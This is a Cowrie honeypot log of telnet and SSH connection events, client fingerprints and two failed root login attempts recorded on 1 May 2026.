{"eventid":"cowrie.session.closed","duration":31.777936697006226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:13.854867Z","src_ip":"202.91.32.11","session":"990ffc70950c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":49698,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4f9b852507","protocol":"telnet","message":"New connection: 202.91.32.11:49698 (159.203.135.109:23) [session: ec4f9b852507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:14.153996Z"}
{"eventid":"cowrie.session.closed","duration":32.69943904876709,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:17.027754Z","src_ip":"45.63.42.31","session":"4a0a01653e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09649324417114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:17.176532Z","src_ip":"45.63.42.31","session":"3db2f8bc0c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac3a852b5ff","protocol":"telnet","message":"New connection: 45.63.42.31:55898 (10.17.0.5:23) [session: 7ac3a852b5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:17.947628Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5002e299e71","protocol":"telnet","message":"New connection: 103.115.172.252:43118 (10.17.0.5:23) [session: d5002e299e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:18.750788Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":49712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b846aff08b17","protocol":"telnet","message":"New connection: 202.91.32.11:49712 (159.203.135.109:23) [session: b846aff08b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:18.918538Z"}
{"eventid":"cowrie.session.closed","duration":31.21061420440674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:19.779267Z","src_ip":"202.91.32.11","session":"aa74c15db864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97856140136719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:19.824514Z","src_ip":"103.115.172.252","session":"5f90e88aefcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36028003692627,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:19.983958Z","src_ip":"202.91.32.11","session":"3a4149617a59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":49720,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae3301d4852","protocol":"telnet","message":"New connection: 202.91.32.11:49720 (159.203.135.109:23) [session: bae3301d4852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:21.496067Z"}
{"eventid":"cowrie.session.closed","duration":30.326122999191284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:22.127646Z","src_ip":"202.91.32.11","session":"0fdcb072f8f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12669348716736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:23.836208Z","src_ip":"202.91.32.11","session":"3c976b0d5f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.216028451919556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:23.891275Z","src_ip":"202.91.32.11","session":"def256a8b52e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53476,"dst_ip":"159.203.135.109","dst_port":23,"session":"accfe8100f39","protocol":"telnet","message":"New connection: 202.91.32.11:53476 (159.203.135.109:23) [session: accfe8100f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:24.112277Z"}
{"eventid":"cowrie.session.closed","duration":39.9993314743042,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:24.313892Z","src_ip":"103.115.172.252","session":"cfccfec69c88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91682505607605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.061421Z","src_ip":"202.91.32.11","session":"94e99ab68e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153626918792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.401703Z","src_ip":"202.91.32.11","session":"c63d552ceea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40017318725586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.526207Z","src_ip":"202.91.32.11","session":"73f66d7f654e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841869115829468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.530770Z","src_ip":"202.91.32.11","session":"ba5bc4f7b255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96119999885559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.585783Z","src_ip":"202.91.32.11","session":"daac9e9f7b47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42228,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f787e0df2ba","protocol":"telnet","message":"New connection: 45.63.42.31:42228 (10.17.0.5:23) [session: 4f787e0df2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.593974Z"}
{"eventid":"cowrie.session.closed","duration":32.77271127700806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.723109Z","src_ip":"202.91.32.11","session":"27ddd1b242fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84391808509827,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:25.873631Z","src_ip":"45.63.42.31","session":"e8a04431e1c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41520,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b4f2c3315a","protocol":"telnet","message":"New connection: 45.63.42.31:41520 (10.17.0.5:23) [session: 66b4f2c3315a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:26.203902Z"}
{"eventid":"cowrie.session.closed","duration":46.31361413002014,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:27.646924Z","src_ip":"185.26.126.47","session":"4ffc7e6781d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71006727218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:27.871553Z","src_ip":"202.91.32.11","session":"a3ebf8f06629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70862603187561,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:27.894934Z","src_ip":"45.63.42.31","session":"81aa655f7aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.907848834991455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:27.984293Z","src_ip":"45.63.42.31","session":"a78b5b0f5a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.379374980926514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:28.158485Z","src_ip":"202.91.32.11","session":"35e0b5a477f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49862718582153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:30.544497Z","src_ip":"45.63.42.31","session":"dfa8d476e75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53455138206482,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:30.558995Z","src_ip":"45.63.42.31","session":"68bdb2a4c8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53484,"dst_ip":"159.203.135.109","dst_port":23,"session":"acd5a2b944bd","protocol":"telnet","message":"New connection: 202.91.32.11:53484 (159.203.135.109:23) [session: acd5a2b944bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:30.587501Z"}
{"eventid":"cowrie.session.closed","duration":32.49211502075195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:30.947829Z","src_ip":"202.91.32.11","session":"5ad2249b01a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51406,"dst_ip":"10.17.0.5","dst_port":23,"session":"a992f469f8f1","protocol":"telnet","message":"New connection: 45.63.42.31:51406 (10.17.0.5:23) [session: a992f469f8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:31.432110Z"}
{"eventid":"cowrie.session.closed","duration":30.958569526672363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:31.555173Z","src_ip":"202.91.32.11","session":"c07a73630906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a3e42f9a92e","protocol":"telnet","message":"New connection: 202.91.32.11:53488 (159.203.135.109:23) [session: 1a3e42f9a92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:32.539114Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":49032,"dst_ip":"10.17.0.5","dst_port":23,"session":"defa21a9b974","protocol":"telnet","message":"New connection: 103.115.172.252:49032 (10.17.0.5:23) [session: defa21a9b974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:32.772532Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53316,"dst_ip":"159.203.135.109","dst_port":23,"session":"82141fb00a66","protocol":"telnet","message":"New connection: 202.91.32.11:53316 (159.203.135.109:23) [session: 82141fb00a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:33.559427Z"}
{"eventid":"cowrie.session.closed","duration":31.179768085479736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:34.141934Z","src_ip":"202.91.32.11","session":"9237fa80feac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877686023712158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:34.415715Z","src_ip":"202.91.32.11","session":"8c49201a3f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"c70d7e7afc33","protocol":"telnet","message":"New connection: 45.63.42.31:60080 (10.17.0.5:23) [session: c70d7e7afc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:34.856357Z"}
{"eventid":"cowrie.session.closed","duration":31.82987403869629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:36.006046Z","src_ip":"202.91.32.11","session":"3e1a4958b91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53324,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb079b23ae0","protocol":"telnet","message":"New connection: 202.91.32.11:53324 (159.203.135.109:23) [session: 1cb079b23ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:36.983542Z"}
{"eventid":"cowrie.session.closed","duration":30.568897247314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:37.076177Z","src_ip":"202.91.32.11","session":"1385fdac892a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484811067581177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:37.513569Z","src_ip":"202.91.32.11","session":"45afddb90332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71285843849182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:38.297954Z","src_ip":"202.91.32.11","session":"ff1b0bb0441f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53338,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8c18b57a3cd","protocol":"telnet","message":"New connection: 202.91.32.11:53338 (159.203.135.109:23) [session: e8c18b57a3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:38.504123Z"}
{"eventid":"cowrie.session.closed","duration":31.188007831573486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:39.281290Z","src_ip":"202.91.32.11","session":"2ac346bd9a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26851534843445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:39.307296Z","src_ip":"202.91.32.11","session":"9e64025e2fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77751398086548,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:39.437250Z","src_ip":"45.63.42.31","session":"6564a7b26998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53346,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0abff83e868","protocol":"telnet","message":"New connection: 202.91.32.11:53346 (159.203.135.109:23) [session: f0abff83e868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:39.483264Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":41310,"dst_ip":"10.17.0.5","dst_port":22,"session":"464b0db21b01","protocol":"ssh","message":"New connection: 5.182.83.231:41310 (10.17.0.5:22) [session: 464b0db21b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:40.458474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:40.462558Z","src_ip":"5.182.83.231","session":"464b0db21b01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:40.583233Z","src_ip":"5.182.83.231","session":"464b0db21b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53354,"dst_ip":"159.203.135.109","dst_port":23,"session":"337b53196276","protocol":"telnet","message":"New connection: 202.91.32.11:53354 (159.203.135.109:23) [session: 337b53196276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:40.946583Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveme","message":"login attempt [root/loveme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:41.082177Z","src_ip":"5.182.83.231","session":"464b0db21b01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42276,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c47d961c3fc","protocol":"telnet","message":"New connection: 45.63.42.31:42276 (10.17.0.5:23) [session: 2c47d961c3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:41.369735Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":53358,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cb19b37d09f","protocol":"telnet","message":"New connection: 202.91.32.11:53358 (159.203.135.109:23) [session: 9cb19b37d09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:42.120697Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:42.201154Z","src_ip":"5.182.83.231","session":"464b0db21b01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19089674949646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:43.686216Z","src_ip":"202.91.32.11","session":"ea27b53799db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75302219390869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:45.906925Z","src_ip":"202.91.32.11","session":"ec4f9b852507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2179217338562,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:47.492113Z","src_ip":"45.63.42.31","session":"c74078d311f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.297278881073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:47.855257Z","src_ip":"45.63.42.31","session":"df9d9117f012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57260,"dst_ip":"10.17.0.5","dst_port":23,"session":"255da2d485c3","protocol":"telnet","message":"New connection: 45.63.42.31:57260 (10.17.0.5:23) [session: 255da2d485c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:48.208565Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"d597a96304a6","protocol":"telnet","message":"New connection: 103.115.172.252:55586 (10.17.0.5:23) [session: d597a96304a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:49.244296Z"}
{"eventid":"cowrie.session.closed","duration":30.58562159538269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:49.504073Z","src_ip":"202.91.32.11","session":"b846aff08b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47466,"dst_ip":"159.203.135.109","dst_port":23,"session":"f614884880ed","protocol":"telnet","message":"New connection: 202.91.32.11:47466 (159.203.135.109:23) [session: f614884880ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:50.045666Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47470,"dst_ip":"159.203.135.109","dst_port":23,"session":"000de70ff821","protocol":"telnet","message":"New connection: 202.91.32.11:47470 (159.203.135.109:23) [session: 000de70ff821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:50.267098Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":33736,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca110c2d5aa","protocol":"ssh","message":"New connection: 107.173.55.151:33736 (10.17.0.5:22) [session: 8ca110c2d5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:50.944947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:50.949625Z","src_ip":"107.173.55.151","session":"8ca110c2d5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:50.965926Z","src_ip":"107.173.55.151","session":"8ca110c2d5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh123456.","message":"login attempt [root/Yh123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:51.066421Z","src_ip":"107.173.55.151","session":"8ca110c2d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:52.085921Z","src_ip":"107.173.55.151","session":"8ca110c2d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.380558729171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:22:52.876483Z","src_ip":"202.91.32.11","session":"bae3301d4852","protocol":"telnet"}
